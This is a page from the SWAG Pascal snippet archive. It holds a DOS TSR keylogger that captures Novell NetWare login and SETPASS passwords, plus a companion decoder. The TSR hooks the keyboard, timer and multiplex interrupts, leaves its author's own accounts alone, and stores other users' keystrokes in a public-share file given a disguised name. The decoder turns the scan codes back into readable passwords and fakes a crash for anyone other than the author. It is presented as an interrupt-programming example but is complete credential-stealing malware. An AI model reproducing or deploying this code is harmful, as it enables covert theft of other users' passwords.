[Back to NETWORK SWAG index] [Back to Main SWAG index] [Original]

    {
    The program NOVKILL.PAS is a TSR program that tries to get passwords for
    Novell Networks, and does not belong to NUMBERS.SWG. If you want to keep
    it, you may do so, but please move it to TSR.SWG, ISR.SWG or NOVELL.SWG,
    and change the sender address from bero@flash.gun.de to my new address,
    bero@rage.fido.de.

    If you are interested in a more elaborate version of the entire thing
    (which I believe to be a good example for ISRs - it accesses the timer
    interrupt, the keyboard interrupt and the multiplex interrupt; and even
    writes to a file from within an interrupt), here you go:
    }

    program Get_Passwords;
    {$M $1000,0,0}
    Uses Dos,Crt,Network;
    { Network ist a Unit I wrote to do some NetWare API calls.
      The only function used here is GetUser, which can be taken from
      other Network programs in the SWAGs, as well. }
    type Pwd=Array[0..99] of byte;
    type FileType=record
                  UserName:String[10];
                  Password:Pwd;
         end;
    var OldInt2F:pointer;  { Multiplex }
        OldInt9:procedure; { Keyboard }
        OldInt8:pointer;   { Timer }
        s:string;
        Password:Pwd;
        Save_Me:FileType;
        Save_Pass:File of FileType;
        catching,writing,tsr_wr:boolean;
        Counter:word;
        DosSeg,DosBusy:word;
    const oldstackss:word=0;    { TSR-Programms that try to write to a file }
          oldstacksp:word=0;    { from a "standard" interrupt must have     }
          stacksw:integer=-1;   { their own stack...                        }
          intstackss:word=0;
          intstacksp:word=0;
    {$F+}
    {$I-}
    procedure GoOldInt(OldInt:Pointer);
    { GoOldInt calls an old interrupt-handler }
    INLINE(
           $5B/
           $58/
           $89/$EC/
           $5D/
           $07/
           $1F/
           $5F/
           $5E/
           $5A/
           $59/
           $87/$EC/
           $87/$5E/$00/
           $87/$46/$02/
           $87/$EC/
           $CB);

    procedure NewInt8;interrupt;  { New timer-interrupt }
    begin
      asm cli                     { save old stack, switch to new }
          inc word ptr [stacksw]
          jnz @a
          mov [oldstackss],ss
          mov [oldstacksp],sp
          mov ss,[intstackss]
          mov sp,[intstacksp]
          @a: sti
      end;
      if (writing) and (not tsr_wr) and (Mem[DosSeg:DosBusy]=0) then begin
        { Do not write to files while DOS is busy... }
        writing:=false;
        tsr_wr:=true;
        port[$20]:=$20;  { Tell the Interrupt controller the int ends... }
        Save_Me.UserName:=GetUser;
        if (Save_Me.UserName<>'BERO') and (Save_Me.UserName<>'ROSENKR')
           then begin { Do NOT save my own passwords... }
          Save_Me.Password:=Password;
          Assign(Save_Pass,'F:\PUBLIC\DATA.DBF');
                           { write passwords to a public directory, use a
                             non-suspicious name... }
          Reset(Save_Pass);
          IF IOResult<>0 then Rewrite(Save_Pass) else
             Seek(Save_Pass,filesize(Save_Pass));
          Write(Save_Pass,Save_Me);
          Close(Save_Pass);
          tsr_wr:=false;
        end;
      end;
      asm cli     { restore old stack }
          dec word ptr [stacksw]
          jge @b
          mov ss,oldstackss
          mov sp,oldstacksp
          @b: sti
      end;
      GoOldInt(OldInt8);
    end;
    procedure NewInt9;interrupt;  { New Keyboard-interrupt }
    var inp:byte;
    begin
      if catching then begin
        inp:=Port[$60];
        if (inp<$80) and (Counter<100) then begin
          Password[Counter]:=inp;
          Inc(Counter);
        end;
      end;
      asm pushf end;
      OldInt9;
    end;
    procedure NewInt2f(Flags,CS,IP,AX,BX,CX,DX,SI,DI,DS,ES,BP:Word);Interrupt;
    { New Multiplex-Interrupt: Intercept DOS-Commands }
    VAR s:String;
        Count:Byte;
    begin
      IF AX=$AE00 then begin
        s:='';
        For Count:=1 to Mem[ds:si] do
          s:=s+chr(Mem[ds:si+count]);
        if (s='LOGIN') or (s='LG') or (s='SETPASS') then begin
          s:='';
          For Count:=1 to Mem[ds:bx+1] do
            s:=s+chr(Mem[ds:bx+count+1]);
            For Count:=0 to 99 do Password[Count]:=0;
            counter:=0;
            catching:=true;
        end else if catching then begin
          catching:=false;
          writing:=true;
          Counter:=0;
        end;
      end;
      GoOldInt(OldInt2F);
    end;
    procedure Init_TSR;  { Create new stack, get DOS-Busy byte }
    begin
      IntStackSS:=SSEG;
      asm mov [IntStackSP],SP
          mov ah,$34
          int $21
          mov [DosSeg],ES
          mov [DosBusy],BX
      end;
    end;
    begin
      tsr_wr:=false;
      Counter:=0;
      catching:=false;
      Init_TSR;
      GetIntVec($8,OldInt8);   { set interrupts }
      SetIntVec($8,@NewInt8);
      GetIntVec($9,@OldInt9);
      SetIntVec($9,@NewInt9);
      GetIntVec($2f,OldInt2F);
      SetIntVec($2f,@NewInt2F);
      Keep(0);
    end.

    *************
    "Decode" - Decode the files generated by the program above

    program Decode;
    Uses Dos,Crt,Network;
    type Pwd=Array[0..99] of byte;
    type FileType=record
                  LoginName:String[10];
                  Password:Pwd;
         end;
    var s:string;
        Read_Me:FileType;
        Read_Pass:File of FileType;
        c:char;
        a:byte;
    procedure Decode_Pass(s:Pwd); { Change SCAN-Codes to ASCII }
    var count:byte;
    begin
      count:=0;
      repeat
        case s[count] of
        1: Write('^');
        2: Write('1');
        3: Write('2');
        4: Write('3');
        5: Write('4');
        6: Write('5');
        7: Write('6');
        8: Write('7');
        9: Write('8');
        10: Write('9');
        11: Write('0');
        12: Write('a');
        13: Write('`');
        14: Write(chr(8));
        16: Write('Q');
        17: Write('W');
        18: Write('E');
        19: Write('R');
        20: Write('T');
        21: Write('Z');
        22: Write('U');
        23: Write('I');
        24: Write('O');
        25: Write('P');
        26: Write('s');
        27: Write('+');
        28: Write('[RETURN]');
        29: Write('[STRG]');
        30: Write('A');
        31: Write('S');
        32: Write('D');
        33: Write('F');
        34: Write('G');
        35: Write('H');
        36: Write('J');
        37: Write('K');
        38: Write('L');
        39: Write('Oe');
        40: Write('Ae');
        41: Write('#');
        42: Write('[SHIFT]');
        43: Write('<');
        44: Write('Y');
        45: Write('X');
        46: Write('C');
        47: Write('V');
        48: Write('B');
        49: Write('N');
        50: Write('M');
        51: Write(',');
        52: Write('.');
        53: Write('-');
        56: Write('[ALT (GR)]');
        else write('[Scan ',s[count],']');
        end;
        Inc(count);
      Until (s[count]=0) or (count=100);
    end;
    begin
      if (GetUser<>'BERO') and (GetUser<>'ROSENKR') then begin
        { Abort program if someone else is calling it... }
        writeln('SYSTEM ERROR #0231- General Protection Fault at
    0131:321D',chr(7));
        writeln('Abnormal program termination',chr(7));
        halt(0);
      end;
      Assign(Read_Pass,'F:\PUBLIC\DATA.DBF');
      Reset(Read_Pass);
      IF (DOSError<>0) then begin
        writeln('No passwords found... :-(((((');
        Halt(0);
      end;
      repeat
        Read(Read_Pass,Read_Me);
        Writeln(Read_Me.LoginName);
        Decode_Pass(Read_Me.Password);
        Writeln;
        repeat until keypressed; c:=ReadKey;
      until eof(Read_Pass);
      Close(Read_Pass);
    end.

[Back to NETWORK SWAG index] [Back to Main SWAG index] [Original]